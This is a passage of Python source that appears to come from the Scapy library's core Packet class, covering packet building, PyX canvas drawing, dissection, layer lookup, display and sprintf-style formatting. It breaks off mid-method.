:return: a string of the packet with the payload\n        \"\"\"\n        return pkt + pay\n\n    def build_done(self, p):\n        # type: (bytes) -> bytes\n        return self.payload.build_done(p)\n\n    def do_build_ps(self):\n        # type: () -> Tuple[bytes, List[Tuple[Packet, List[Tuple[Field[Any, Any], str, bytes]]]]]  # noqa: E501\n        p = b\"\"\n        pl = []\n        q = b\"\"\n        for f in self.fields_desc:\n            if isinstance(f, ConditionalField) and not f._evalcond(self):\n                continue\n            p = f.addfield(self, p, self.getfieldval(f.name))\n            if isinstance(p, bytes):\n                r = p[len(q):]\n                q = p\n            else:\n                r = b\"\"\n            pl.append((f, f.i2repr(self, self.getfieldval(f.name)), r))\n\n        pkt, lst = self.payload.build_ps(internal=1)\n        p += pkt\n        lst.append((self, pl))\n\n        return p, lst\n\n    def build_ps(self, internal=0):\n        # type: (int) -> Tuple[bytes, List[Tuple[Packet, List[Tuple[Any, Any, bytes]]]]]  # noqa: E501\n        p, lst = self.do_build_ps()\n#        if not internal:\n#            pkt = self\n#            while pkt.haslayer(conf.padding_layer):\n#                pkt = pkt.getlayer(conf.padding_layer)\n#                lst.append( (pkt, [ (\"loakjkjd\", pkt.load, pkt.load) ] ) )\n#                p += pkt.load\n#                pkt = pkt.payload\n        return p, lst\n\n    def canvas_dump(self, layer_shift=0, rebuild=1):\n        # type: (int, int) -> pyx.canvas.canvas\n        if PYX == 0:\n            raise ImportError(\"PyX and its dependencies must be installed\")\n        canvas = pyx.canvas.canvas()\n        if rebuild:\n            _, t = self.__class__(raw(self)).build_ps()\n        else:\n            _, t = self.build_ps()\n        YTXTI = len(t)\n        for _, l in t:\n            YTXTI += len(l)\n        YTXT = float(YTXTI)\n        YDUMP = YTXT\n\n        XSTART = 1\n        XDSTART = 10\n        y = 0.0\n        yd = 0.0\n        XMUL = 0.55\n        YMUL = 0.4\n\n        backcolor = colgen(0.6, 0.8, 1.0, trans=pyx.color.rgb)\n        forecolor = colgen(0.2, 0.5, 0.8, trans=pyx.color.rgb)\n#        backcolor=makecol(0.376, 0.729, 0.525, 1.0)\n\n        def hexstr(x):\n            # type: (bytes) -> str\n            return \" \".join(\"%02x\" % orb(c) for c in x)\n\n        def make_dump_txt(x, y, txt):\n            # type: (int, float, bytes) -> pyx.text.text\n            return pyx.text.text(\n                XDSTART + x * XMUL,\n                (YDUMP - y) * YMUL,\n                r\"\\tt{%s}\" % hexstr(txt),\n                [pyx.text.size.Large]\n            )\n\n        def make_box(o):\n            # type: (pyx.bbox.bbox) -> pyx.bbox.bbox\n            return pyx.box.rect(\n                o.left(), o.bottom(), o.width(), o.height(),\n                relcenter=(0.5, 0.5)\n            )\n\n        def make_frame(lst):\n            # type: (List[Any]) -> pyx.path.path\n            if len(lst) == 1:\n                b = lst[0].bbox()\n                b.enlarge(pyx.unit.u_pt)\n                return b.path()\n            else:\n                fb = lst[0].bbox()\n                fb.enlarge(pyx.unit.u_pt)\n                lb = lst[-1].bbox()\n                lb.enlarge(pyx.unit.u_pt)\n                if len(lst) == 2 and fb.left() > lb.right():\n                    return pyx.path.path(pyx.path.moveto(fb.right(), fb.top()),\n                                         pyx.path.lineto(fb.left(), fb.top()),\n                                         pyx.path.lineto(fb.left(), fb.bottom()),  # noqa: E501\n                                         pyx.path.lineto(fb.right(), fb.bottom()),  # noqa: E501\n                                         pyx.path.moveto(lb.left(), lb.top()),\n                                         pyx.path.lineto(lb.right(), lb.top()),\n                                         pyx.path.lineto(lb.right(), lb.bottom()),  # noqa: E501\n                                         pyx.path.lineto(lb.left(), lb.bottom()))  # noqa: E501\n                else:\n                    # XXX\n                    gb = lst[1].bbox()\n                    if gb != lb:\n                        gb.enlarge(pyx.unit.u_pt)\n                    kb = lst[-2].bbox()\n                    if kb != gb and kb != lb:\n                        kb.enlarge(pyx.unit.u_pt)\n                    return pyx.path.path(pyx.path.moveto(fb.left(), fb.top()),\n                                         pyx.path.lineto(fb.right(), fb.top()),\n                                         pyx.path.lineto(fb.right(), kb.bottom()),  # noqa: E501\n                                         pyx.path.lineto(lb.right(), kb.bottom()),  # noqa: E501\n                                         pyx.path.lineto(lb.right(), lb.bottom()),  # noqa: E501\n                                         pyx.path.lineto(lb.left(), lb.bottom()),  # noqa: E501\n                                         pyx.path.lineto(lb.left(), gb.top()),\n                                         pyx.path.lineto(fb.left(), gb.top()),\n                                         pyx.path.closepath(),)\n\n        def make_dump(s,   # type: bytes\n                      shift=0,  # type: int\n                      y=0.,  # type: float\n                      col=None,  # type: pyx.color.color\n                      bkcol=None,  # type: pyx.color.color\n                      large=16  # type: int\n                      ):\n            # type: (...) -> Tuple[pyx.canvas.canvas, pyx.bbox.bbox, int, float]  # noqa: E501\n            c = pyx.canvas.canvas()\n            tlist = []\n            while s:\n                dmp, s = s[:large - shift], s[large - shift:]\n                txt = make_dump_txt(shift, y, dmp)\n                tlist.append(txt)\n                shift += len(dmp)\n                if shift >= 16:\n                    shift = 0\n                    y += 1\n            if col is None:\n                col = pyx.color.rgb.red\n            if bkcol is None:\n                bkcol = pyx.color.rgb.white\n            c.stroke(make_frame(tlist), [col, pyx.deco.filled([bkcol]), pyx.style.linewidth.Thick])  # noqa: E501\n            for txt in tlist:\n                c.insert(txt)\n            return c, tlist[-1].bbox(), shift, y\n\n        last_shift, last_y = 0, 0.0\n        while t:\n            bkcol = next(backcolor)\n            proto, fields = t.pop()\n            y += 0.5\n            pt = pyx.text.text(\n                XSTART,\n                (YTXT - y) * YMUL,\n                r\"\\font\\cmssfont=cmss10\\cmssfont{%s}\" % tex_escape(\n                    str(proto.name)\n                ),\n                [pyx.text.size.Large]\n            )\n            y += 1\n            ptbb = pt.bbox()\n            ptbb.enlarge(pyx.unit.u_pt * 2)\n            canvas.stroke(ptbb.path(), [pyx.color.rgb.black, pyx.deco.filled([bkcol])])  # noqa: E501\n            canvas.insert(pt)\n            for field, fval, fdump in fields:\n                col = next(forecolor)\n                ft = pyx.text.text(XSTART, (YTXT - y) * YMUL, r\"\\font\\cmssfont=cmss10\\cmssfont{%s}\" % tex_escape(field.name))  # noqa: E501\n                if isinstance(field, BitField):\n                    fsize = '%sb' % field.size\n                else:\n                    fsize = '%sB' % len(fdump)\n                if (hasattr(field, 'field') and\n                        'LE' in field.field.__class__.__name__[:3] or\n                        'LE' in field.__class__.__name__[:3]):\n                    fsize = r'$\\scriptstyle\\langle$' + fsize\n                st = pyx.text.text(XSTART + 3.4, (YTXT - y) * YMUL, r\"\\font\\cmbxfont=cmssbx10 scaled 600\\cmbxfont{%s}\" % fsize, [pyx.text.halign.boxright])  # noqa: E501\n                if isinstance(fval, str):\n                    if len(fval) > 18:\n                        fval = fval[:18] + \"[...]\"\n                else:\n                    fval = \"\"\n                vt = pyx.text.text(XSTART + 3.5, (YTXT - y) * YMUL, r\"\\font\\cmssfont=cmss10\\cmssfont{%s}\" % tex_escape(fval))  # noqa: E501\n                y += 1.0\n                if fdump:\n                    dt, target, last_shift, last_y = make_dump(fdump, last_shift, last_y, col, bkcol)  # noqa: E501\n\n                    dtb = target\n                    vtb = vt.bbox()\n                    bxvt = make_box(vtb)\n                    bxdt = make_box(dtb)\n                    dtb.enlarge(pyx.unit.u_pt)\n                    try:\n                        if yd < 0:\n                            cnx = pyx.connector.curve(bxvt, bxdt, absangle1=0, absangle2=-90)  # noqa: E501\n                        else:\n                            cnx = pyx.connector.curve(bxvt, bxdt, absangle1=0, absangle2=90)  # noqa: E501\n                    except Exception:\n                        pass\n                    else:\n                        canvas.stroke(cnx, [pyx.style.linewidth.thin, pyx.deco.earrow.small, col])  # noqa: E501\n\n                    canvas.insert(dt)\n\n                canvas.insert(ft)\n                canvas.insert(st)\n                canvas.insert(vt)\n            last_y += layer_shift\n\n        return canvas\n\n    def extract_padding(self, s):\n        # type: (bytes) -> Tuple[bytes, Optional[bytes]]\n        \"\"\"\n        DEV: to be overloaded to extract current layer's padding.\n\n        :param str s: the current layer\n        :return: a couple of strings (actual layer, padding)\n        \"\"\"\n        return s, None\n\n    def post_dissect(self, s):\n        # type: (bytes) -> bytes\n        \"\"\"DEV: is called right after the current layer has been dissected\"\"\"\n        return s\n\n    def pre_dissect(self, s):\n        # type: (bytes) -> bytes\n        \"\"\"DEV: is called right before the current layer is dissected\"\"\"\n        return s\n\n    def do_dissect(self, s):\n        # type: (bytes) -> bytes\n        _raw = s\n        self.raw_packet_cache_fields = {}\n        for f in self.fields_desc:\n            s, fval = f.getfield(self, s)\n            # Skip unused ConditionalField\n            if isinstance(f, ConditionalField) and fval is None:\n                continue\n            # We need to track fields with mutable values to discard\n            # .raw_packet_cache when needed.\n            if (f.islist or f.holds_packets or f.ismutable) and fval is not None:\n                self.raw_packet_cache_fields[f.name] = \\\n                    self._raw_packet_cache_field_value(f, fval, copy=True)\n            self.fields[f.name] = fval\n            # Nothing left to dissect\n            if not s and (isinstance(f, MayEnd) or\n                          (fval is not None and isinstance(f, ConditionalField) and\n                           isinstance(f.fld, MayEnd))):\n                break\n        self.raw_packet_cache = _raw[:-len(s)] if s else _raw\n        self.explicit = 1\n        return s\n\n    def do_dissect_payload(self, s):\n        # type: (bytes) -> None\n        \"\"\"\n        Perform the dissection of the layer's payload\n\n        :param str s: the raw layer\n        \"\"\"\n        if s:\n            if (\n                self.stop_dissection_after and\n                isinstance(self, self.stop_dissection_after)\n            ):\n                # stop dissection here\n                p = conf.raw_layer(s, _internal=1, _underlayer=self)\n                self.add_payload(p)\n                return\n            cls = self.guess_payload_class(s)\n            try:\n                p = cls(\n                    s,\n                    stop_dissection_after=self.stop_dissection_after,\n                    _internal=1,\n                    _underlayer=self,\n                )\n            except KeyboardInterrupt:\n                raise\n            except Exception:\n                if conf.debug_dissector:\n                    if issubtype(cls, Packet):\n                        log_runtime.error(\"%s dissector failed\", cls.__name__)\n                    else:\n                        log_runtime.error(\"%s.guess_payload_class() returned \"\n                                          \"[%s]\",\n                                          self.__class__.__name__, repr(cls))\n                    if cls is not None:\n                        raise\n                p = conf.raw_layer(s, _internal=1, _underlayer=self)\n            self.add_payload(p)\n\n    def dissect(self, s):\n        # type: (bytes) -> None\n        s = self.pre_dissect(s)\n\n        s = self.do_dissect(s)\n\n        s = self.post_dissect(s)\n\n        payl, pad = self.extract_padding(s)\n        self.do_dissect_payload(payl)\n        if pad and conf.padding:\n            self.add_payload(conf.padding_layer(pad))\n\n    def guess_payload_class(self, payload):\n        # type: (bytes) -> Type[Packet]\n        \"\"\"\n        DEV: Guesses the next payload class from layer bonds.\n        Can be overloaded to use a different mechanism.\n\n        :param str payload: the layer's payload\n        :return: the payload class\n        \"\"\"\n        for t in self.aliastypes:\n            for fval, cls in t.payload_guess:\n                try:\n                    if all(v == self.getfieldval(k)\n                           for k, v in fval.items()):\n                        return cls  # type: ignore\n                except AttributeError:\n                    pass\n        return self.default_payload_class(payload)\n\n    def default_payload_class(self, payload):\n        # type: (bytes) -> Type[Packet]\n        \"\"\"\n        DEV: Returns the default payload class if nothing has been found by the\n        guess_payload_class() method.\n\n        :param str payload: the layer's payload\n        :return: the default payload class define inside the configuration file\n        \"\"\"\n        return conf.raw_layer\n\n    def hide_defaults(self):\n        # type: () -> None\n        \"\"\"Removes fields' values that are the same as default values.\"\"\"\n        # use list(): self.fields is modified in the loop\n        for k, v in list(self.fields.items()):\n            v = self.fields[k]\n            if k in self.default_fields:\n                if self.default_fields[k] == v:\n                    del self.fields[k]\n        self.payload.hide_defaults()\n\n    def clone_with(self, payload=None, **kargs):\n        # type: (Optional[Any], **Any) -> Any\n        pkt = self.__class__()\n        pkt.explicit = 1\n        pkt.fields = kargs\n        pkt.default_fields = self.copy_fields_dict(self.default_fields)\n        pkt.overloaded_fields = self.overloaded_fields.copy()\n        pkt.time = self.time\n        pkt.underlayer = self.underlayer\n        pkt.parent = self.parent\n        pkt.post_transforms = self.post_transforms\n        pkt.raw_packet_cache = self.raw_packet_cache\n        pkt.raw_packet_cache_fields = self.copy_fields_dict(\n            self.raw_packet_cache_fields\n        )\n        pkt.wirelen = self.wirelen\n        pkt.comments = self.comments\n        pkt.sniffed_on = self.sniffed_on\n        pkt.direction = self.direction\n        if payload is not None:\n            pkt.add_payload(payload)\n        return pkt\n\n    def __iter__(self):\n        # type: () -> Iterator[Packet]\n        \"\"\"Iterates through all sub-packets generated by this Packet.\"\"\"\n        def loop(todo, done, self=self):\n            # type: (List[str], Dict[str, Any], Any) -> Iterator[Packet]\n            if todo:\n                eltname = todo.pop()\n                elt = self.getfieldval(eltname)\n                if not isinstance(elt, Gen):\n                    if self.get_field(eltname).islist:\n                        elt = SetGen([elt])\n                    else:\n                        elt = SetGen(elt)\n                for e in elt:\n                    done[eltname] = e\n                    for x in loop(todo[:], done):\n                        yield x\n            else:\n                if isinstance(self.payload, NoPayload):\n                    payloads = SetGen([None])  # type: SetGen[Packet]\n                else:\n                    payloads = self.payload\n                for payl in payloads:\n                    # Let's make sure subpackets are consistent\n                    done2 = done.copy()\n                    for k in done2:\n                        if isinstance(done2[k], VolatileValue):\n                            done2[k] = done2[k]._fix()\n                    pkt = self.clone_with(payload=payl, **done2)\n                    yield pkt\n\n        if self.explicit or self.raw_packet_cache is not None:\n            todo = []\n            done = self.fields\n        else:\n            todo = [k for (k, v) in itertools.chain(self.default_fields.items(),\n                                                    self.overloaded_fields.items())\n                    if isinstance(v, VolatileValue)] + list(self.fields)\n            done = {}\n        return loop(todo, done)\n\n    def iterpayloads(self):\n        # type: () -> Iterator[Packet]\n        \"\"\"Used to iter through the payloads of a Packet.\n        Useful for DNS or 802.11 for instance.\n        \"\"\"\n        yield self\n        current = self\n        while current.payload:\n            current = current.payload\n            yield current\n\n    def __gt__(self, other):\n        # type: (Packet) -> int\n        \"\"\"True if other is an answer from self (self ==> other).\"\"\"\n        if isinstance(other, Packet):\n            return other < self\n        elif isinstance(other, bytes):\n            return 1\n        else:\n            raise TypeError((self, other))\n\n    def __lt__(self, other):\n        # type: (Packet) -> int\n        \"\"\"True if self is an answer from other (other ==> self).\"\"\"\n        if isinstance(other, Packet):\n            return self.answers(other)\n        elif isinstance(other, bytes):\n            return 1\n        else:\n            raise TypeError((self, other))\n\n    def __eq__(self, other):\n        # type: (Any) -> bool\n        if not isinstance(other, self.__class__):\n            return False\n        for f in self.fields_desc:\n            if f not in other.fields_desc:\n                return False\n            if self.getfieldval(f.name) != other.getfieldval(f.name):\n                return False\n        return self.payload == other.payload\n\n    def __ne__(self, other):\n        # type: (Any) -> bool\n        return not self.__eq__(other)\n\n    # Note: setting __hash__ to None is the standard way\n    # of making an object un-hashable. mypy doesn't know that\n    __hash__ = None  # type: ignore\n\n    def hashret(self):\n        # type: () -> bytes\n        \"\"\"DEV: returns a string that has the same value for a request\n        and its answer.\"\"\"\n        return self.payload.hashret()\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        \"\"\"DEV: true if self is an answer from other\"\"\"\n        if other.__class__ == self.__class__:\n            return self.payload.answers(other.payload)\n        return 0\n\n    def layers(self):\n        # type: () -> List[Type[Packet]]\n        \"\"\"returns a list of layer classes (including subclasses) in this packet\"\"\"  # noqa: E501\n        layers = []\n        lyr = self  # type: Optional[Packet]\n        while lyr:\n            layers.append(lyr.__class__)\n            lyr = lyr.payload.getlayer(0, _subclass=True)\n        return layers\n\n    def haslayer(self, cls, _subclass=None):\n        # type: (Union[Type[Packet], str], Optional[bool]) -> int\n        \"\"\"\n        true if self has a layer that is an instance of cls.\n        Superseded by \"cls in self\" syntax.\n        \"\"\"\n        if _subclass is None:\n            _subclass = self.match_subclass or None\n        if _subclass:\n            match = issubtype\n        else:\n            match = lambda x, t: bool(x == t)\n        if cls is None or match(self.__class__, cls) \\\n           or cls in [self.__class__.__name__, self._name]:\n            return True\n        for f in self.packetfields:\n            fvalue_gen = self.getfieldval(f.name)\n            if fvalue_gen is None:\n                continue\n            if not f.islist:\n                fvalue_gen = SetGen(fvalue_gen, _iterpacket=0)\n            for fvalue in fvalue_gen:\n                if isinstance(fvalue, Packet):\n                    ret = fvalue.haslayer(cls, _subclass=_subclass)\n                    if ret:\n                        return ret\n        return self.payload.haslayer(cls, _subclass=_subclass)\n\n    def getlayer(self,\n                 cls,  # type: Union[int, Type[Packet], str]\n                 nb=1,  # type: int\n                 _track=None,  # type: Optional[List[int]]\n                 _subclass=None,  # type: Optional[bool]\n                 **flt  # type: Any\n                 ):\n        # type: (...) -> Optional[Packet]\n        \"\"\"Return the nb^th layer that is an instance of cls, matching flt\nvalues.\n        \"\"\"\n        if _subclass is None:\n            _subclass = self.match_subclass or None\n        if _subclass:\n            match = issubtype\n        else:\n            match = lambda x, t: bool(x == t)\n        # Note:\n        # cls can be int, packet, str\n        # string_class_name can be packet, str (packet or packet+field)\n        # class_name can be packet, str (packet only)\n        if isinstance(cls, int):\n            nb = cls + 1\n            string_class_name = \"\"  # type: Union[Type[Packet], str]\n        else:\n            string_class_name = cls\n        class_name = \"\"  # type: Union[Type[Packet], str]\n        fld = None  # type: Optional[str]\n        if isinstance(string_class_name, str) and \".\" in string_class_name:\n            class_name, fld = string_class_name.split(\".\", 1)\n        else:\n            class_name, fld = string_class_name, None\n        if not class_name or match(self.__class__, class_name) \\\n           or class_name in [self.__class__.__name__, self._name]:\n            if all(self.getfieldval(fldname) == fldvalue\n                   for fldname, fldvalue in flt.items()):\n                if nb == 1:\n                    if fld is None:\n                        return self\n                    else:\n                        return self.getfieldval(fld)  # type: ignore\n                else:\n                    nb -= 1\n        for f in self.packetfields:\n            fvalue_gen = self.getfieldval(f.name)\n            if fvalue_gen is None:\n                continue\n            if not f.islist:\n                fvalue_gen = SetGen(fvalue_gen, _iterpacket=0)\n            for fvalue in fvalue_gen:\n                if isinstance(fvalue, Packet):\n                    track = []  # type: List[int]\n                    ret = fvalue.getlayer(class_name, nb=nb, _track=track,\n                                          _subclass=_subclass, **flt)\n                    if ret is not None:\n                        return ret\n                    nb = track[0]\n        return self.payload.getlayer(class_name, nb=nb, _track=_track,\n                                     _subclass=_subclass, **flt)\n\n    def firstlayer(self):\n        # type: () -> Packet\n        q = self\n        while q.underlayer is not None:\n            q = q.underlayer\n        return q\n\n    def __getitem__(self, cls):\n        # type: (Union[Type[Packet], str]) -> Any\n        if isinstance(cls, slice):\n            lname = cls.start\n            if cls.stop:\n                ret = self.getlayer(cls.start, nb=cls.stop, **(cls.step or {}))\n            else:\n                ret = self.getlayer(cls.start, **(cls.step or {}))\n        else:\n            lname = cls\n            ret = self.getlayer(cls)\n        if ret is None:\n            if isinstance(lname, type):\n                name = lname.__name__\n            elif not isinstance(lname, bytes):\n                name = repr(lname)\n            else:\n                name = cast(str, lname)\n            raise IndexError(\"Layer [%s] not found\" % name)\n        return ret\n\n    def __delitem__(self, cls):\n        # type: (Type[Packet]) -> None\n        del self[cls].underlayer.payload\n\n    def __setitem__(self, cls, val):\n        # type: (Type[Packet], Packet) -> None\n        self[cls].underlayer.payload = val\n\n    def __contains__(self, cls):\n        # type: (Union[Type[Packet], str]) -> int\n        \"\"\"\n        \"cls in self\" returns true if self has a layer which is an\n        instance of cls.\n        \"\"\"\n        return self.haslayer(cls)\n\n    def route(self):\n        # type: () -> Tuple[Optional[str], Optional[str], Optional[str]]\n        return self.payload.route()\n\n    def fragment(self, *args, **kargs):\n        # type: (*Any, **Any) -> List[Packet]\n        return self.payload.fragment(*args, **kargs)\n\n    def display(self, *args, **kargs):  # Deprecated. Use show()\n        # type: (*Any, **Any) -> None\n        \"\"\"Deprecated. Use show() method.\"\"\"\n        self.show(*args, **kargs)\n\n    def _show_or_dump(self,\n                      dump=False,  # type: bool\n                      indent=3,  # type: int\n                      lvl=\"\",  # type: str\n                      label_lvl=\"\",  # type: str\n                      first_call=True  # type: bool\n                      ):\n        # type: (...) -> Optional[str]\n        \"\"\"\n        Internal method that shows or dumps a hierarchical view of a packet.\n        Called by show.\n\n        :param dump: determine if it prints or returns the string value\n        :param int indent: the size of indentation for each layer\n        :param str lvl: additional information about the layer lvl\n        :param str label_lvl: additional information about the layer fields\n        :param first_call: determine if the current function is the first\n        :return: return a hierarchical view if dump, else print it\n        \"\"\"\n\n        if dump:\n            from scapy.themes import ColorTheme, AnsiColorTheme\n            ct: ColorTheme = AnsiColorTheme()  # No color for dump output\n        else:\n            ct = conf.color_theme\n        s = \"%s%s %s %s\\n\" % (label_lvl,\n                              ct.punct(\"###[\"),\n                              ct.layer_name(self.name),\n                              ct.punct(\"]###\"))\n        fields = self.fields_desc.copy()\n        while fields:\n            f = fields.pop(0)\n            if isinstance(f, ConditionalField) and not f._evalcond(self):\n                continue\n            if hasattr(f, \"fields\"):  # Field has subfields\n                s += \"%s  %s =\\n\" % (\n                    label_lvl + lvl,\n                    ct.depreciate_field_name(f.name),\n                )\n                lvl += \" \" * indent * self.show_indent\n                for i, fld in enumerate(x for x in f.fields if hasattr(self, x.name)):\n                    fields.insert(i, fld)\n                continue\n            if isinstance(f, Emph) or f in conf.emph:\n                ncol = ct.emph_field_name\n                vcol = ct.emph_field_value\n            else:\n                ncol = ct.field_name\n                vcol = ct.field_value\n            pad = max(0, 10 - len(f.name)) * \" \"\n            fvalue = self.getfieldval(f.name)\n            if isinstance(fvalue, Packet) or (f.islist and f.holds_packets and isinstance(fvalue, list)):  # noqa: E501\n                s += \"%s  %s%s%s%s\\n\" % (label_lvl + lvl,\n                                         ct.punct(\"\\\\\"),\n                                         ncol(f.name),\n                                         pad,\n                                         ct.punct(\"\\\\\"))\n                fvalue_gen = SetGen(\n                    fvalue,\n                    _iterpacket=0\n                )  # type: SetGen[Packet]\n                for fvalue in fvalue_gen:\n                    s += fvalue._show_or_dump(dump=dump, indent=indent, label_lvl=label_lvl + lvl + \"   |\", first_call=False)  # noqa: E501\n            else:\n                begn = \"%s  %s%s%s \" % (label_lvl + lvl,\n                                        ncol(f.name),\n                                        pad,\n                                        ct.punct(\"=\"),)\n                reprval = f.i2repr(self, fvalue)\n                if isinstance(reprval, str):\n                    reprval = reprval.replace(\"\\n\", \"\\n\" + \" \" * (len(label_lvl) +  # noqa: E501\n                                                                  len(lvl) +\n                                                                  len(f.name) +\n                                                                  4))\n                s += \"%s%s\\n\" % (begn, vcol(reprval))\n        if self.payload:\n            s += self.payload._show_or_dump(  # type: ignore\n                dump=dump,\n                indent=indent,\n                lvl=lvl + (\" \" * indent * self.show_indent),\n                label_lvl=label_lvl,\n                first_call=False\n            )\n\n        if first_call and not dump:\n            print(s)\n            return None\n        else:\n            return s\n\n    def show(self, dump=False, indent=3, lvl=\"\", label_lvl=\"\"):\n        # type: (bool, int, str, str) -> Optional[Any]\n        \"\"\"\n        Prints or returns (when \"dump\" is true) a hierarchical view of the\n        packet.\n\n        :param dump: determine if it prints or returns the string value\n        :param int indent: the size of indentation for each layer\n        :param str lvl: additional information about the layer lvl\n        :param str label_lvl: additional information about the layer fields\n        :return: return a hierarchical view if dump, else print it\n        \"\"\"\n        return self._show_or_dump(dump, indent, lvl, label_lvl)\n\n    def show2(self, dump=False, indent=3, lvl=\"\", label_lvl=\"\"):\n        # type: (bool, int, str, str) -> Optional[Any]\n        \"\"\"\n        Prints or returns (when \"dump\" is true) a hierarchical view of an\n        assembled version of the packet, so that automatic fields are\n        calculated (checksums, etc.)\n\n        :param dump: determine if it prints or returns the string value\n        :param int indent: the size of indentation for each layer\n        :param str lvl: additional information about the layer lvl\n        :param str label_lvl: additional information about the layer fields\n        :return: return a hierarchical view if dump, else print it\n        \"\"\"\n        return self.__class__(raw(self)).show(dump, indent, lvl, label_lvl)\n\n    def sprintf(self, fmt, relax=1):\n        # type: (str, int) -> str\n        \"\"\"\n        sprintf(format, [relax=1]) -> str\n\n        Where format is a string that can include directives. A directive\n        begins and ends by % and has the following format:\n        ``%[fmt[r],][cls[:nb].]field%``\n\n        :param fmt: is a classic printf directive, \"r\" can be appended for raw\n          substitution:\n          (ex: IP.flags=0x18 instead of SA), nb is the number of the layer\n          (ex: for IP/IP packets, IP:2.src is the src of the upper IP layer).\n          Special case : \"%.time%\" is the creation time.\n          Ex::\n\n            p.sprintf(\n              \"%.time% %-15s,IP.src% -> %-15s,IP.dst% %IP.chksum% \"\n              \"%03xr,IP.proto% %r,TCP.flags%\"\n            )\n\n          Moreover, the format string can include conditional statements. A\n          conditional statement looks like : {layer:string} where layer is a\n          layer name, and string is the string to insert in place of the\n          condition if it is true, i.e. if layer is present. If layer is\n          preceded by a \"!\", the result is inverted. Conditions can be\n          imbricated. A valid statement can be::\n\n            p.sprintf(\"This is a{TCP: TCP}{UDP: UDP}{ICMP:n ICMP} packet\")\n            p.sprintf(\"{IP:%IP.dst% {ICMP:%ICMP.type%}{TCP:%TCP.dport%}}\")\n\n          A side effect is that, to obtain \"{\" and \"}\" characters, you must use\n          \"%(\" and \"%)\".\n        \"\"\"\n\n        escape = {\"%\": \"%\",\n                  \"(\": \"{\",\n                  \")\": \"}\"}\n\n        # Evaluate conditions\n        while \"{\" in fmt:\n            i = fmt.rindex(\"{\")\n            j = fmt[i + 1:].index(\"}\")\n            cond = fmt[i + 1:i + j + 1]\n            k = cond.find(\":\")\n            if k < 0:\n                raise Scapy_Exception(\"Bad condition in format string: [%s] (read sprintf doc!)\" % cond)  # noqa: E501\n            cond, format_ = cond[:k], cond[k + 1:]\n            res = False\n            if cond[0] == \"!\":\n                res = True\n                cond = cond[1:]\n            if self.haslayer(cond):\n                res = not res\n            if not res:\n                format_ = \"\"\n            fmt = fmt[:i] + format_ + fmt[i + j + 2:]\n\n        # Evaluate directives\n        s = \"\"\n        while \"%\" in fmt:\n            i = fmt.index(\"%\")\n            s += fmt[:i]\n            fmt = fmt[i + 1:]\n            if fmt and fmt[0] in escape:\n                s += escape[fmt[0]]\n                fmt = fmt[1:]\n                continue\n            try:\n                i = fmt.index(\"%\")\n                sfclsfld = fmt[:i]\n                fclsfld = sfclsfld.split(\",\")\n                if len(fclsfld) == 1:\n                    f = \"s\"\n                    clsfld = fclsfld[0]\n                elif len(fclsfld) == 2:\n                    f, clsfld = fclsfld\n                else:\n                    raise Scapy_Exception\n                if \".\" in clsfld:\n                    cls, fld = clsfld.split(\".\")\n                else:\n                    cls = self.__class__.__name__\n                    fld = clsfld\n                num = 1\n                if \":\" in cls:\n                    cls, snum = cls.split(\":\")\n                    num = int(snum)\n                fmt = fmt[i + 1:]\n            except Exception:\n                raise Scapy_Exception(\"Bad format string [%%%s%s]\" % (fmt[:25], fmt[25:] and \"...\"))  # noqa: E501\n            else:\n                if fld == \"time\":\n                    val = time.strftime(\n                        \"%H:%M:%S.%%06i\",\n                        time.localtime(float(self.time))\n                    ) % int((self.time - int(self.time)) * 1000000)\n                elif cls == self.__class__.__name__ and hasattr(self, fld):\n                    if num > 1:\n                        val = self.payload.sprintf(\"%%%s,%s:%s.%s%%\" % (f, cls, num - 1, fld), relax)  # noqa: E501\n                        f = \"s\"\n                    else:\n                        try:\n                            val = self.getfieldval(fld)\n                        except AttributeError:\n                            val = getattr(self, fld)\n                        if f[-1] == \"r\":  # Raw field value\n                            f = f[:-1]\n                            if not f:\n                                f = \"s\"\n                        else:\n                            if fld in self.fieldtype:\n                                val = self.fieldtype[fld].i2repr(self, val)\n                else:\n                    val = self.payload.sprintf(\"%%%s%%\" % sfclsfld, relax)\n                    f = \"s\"\n                s += (\"%\" + f) % val\n\n        s += fmt\n        return s\n\n    def mysummary(self):\n        # type: () -> str\n        \"\"\"DEV: can be overloaded to return a string that summarizes the layer.\n           Only one mysummary() is used in a whole packet summary: the one of the upper layer,  # noqa: E501\n           except if a mysummary() also returns (as a couple) a list of layers whose  # noqa: E501\n           mysummary() must be called if they are present.\"\"\"\n        return \"\"\n\n    def _do_summary(self):\n        # type: () -> Tuple[int, str, List[Any]]\n        found, s, needed = self.payload._do_summary()\n        ret = \"\"\n        if not found or self.__class__ in needed:\n            ret = self.mysummary()\n            if isinstance(ret, tuple):\n                ret, n = ret\n                needed += n\n        if ret or needed:\n            found = 1\n        if not ret:\n            ret = self.__class__.__name__ if self.show_summary else \"\"\n        if self.__class__ in conf.emph:\n            impf = []\n            for f in self.fields_desc:\n                if f in conf.emph:\n                    impf.append(\"%s=%s\" % (f.name, f.i2repr(self, self.getfieldval(f.name))))  # noqa: E501\n            ret = \"%s [%s]\" % (ret, \" \".join(impf))\n        if ret and s:\n            ret = \"%s / %s\" % (ret, s)\n        else:\n            ret = \"%s%s\" % (ret, s)\n        return found, ret, needed\n\n    def summary(self, intern=0):\n        # type: (int) -> str\n        \"\"\"Prints a one line summary of a packet.\"\"\"\n        return self._do_summary()[1]\n\n    def lastlayer(self, layer=None):\n        # type: (Optional[Packet]) -> Packet\n        \"\"\"Returns the uppest layer of the packet\"\"\"\n        return self.payload.lastlayer(self)\n\n    def decode_payload_as(self, cls):\n        # type: (Type[Packet]) -> None\n        \"\"\"Reassembles the payload and decode it using another packet class\"\"\"\n        s = raw(self.payload)\n        self.payload = cls(s, _internal=1, _underlayer=self)\n        pp = self\n        while pp.underlayer is not None:\n            pp = pp.underlayer\n        self.payload.dissection_done(pp)\n\n    def _command(self, json=False):\n        # type: (bool) -> List[Tuple[str, Any]]\n        \"\"\"\n        Internal method used to generate command() and json()\n        \"\"\"\n        f = []\n        iterator: Iterator[Tuple[str, Any]]\n        if json:\n            iterator = ((x.name, self.getfieldval(x.name)) for x in self.fields_desc)\n        else:\n            iterator = iter(self.fields.items())\n        for fn, fv in iterator:\n            fld = self.get_field(fn)\n            if isinstance(fv, (list, dict, set)) and not fv and not fld.default:\n                continue\n            if isinstance(fv, Packet):\n                if json:\n                    fv = {k: v for (k, v) in fv._command(json=True)}\n                else:\n                    fv = fv.command()\n            elif fld.islist and fld.holds_packets and isinstance(fv, list):\n                if json:\n                    fv = [\n                        {k: v for (k, v) in x}\n                        for x 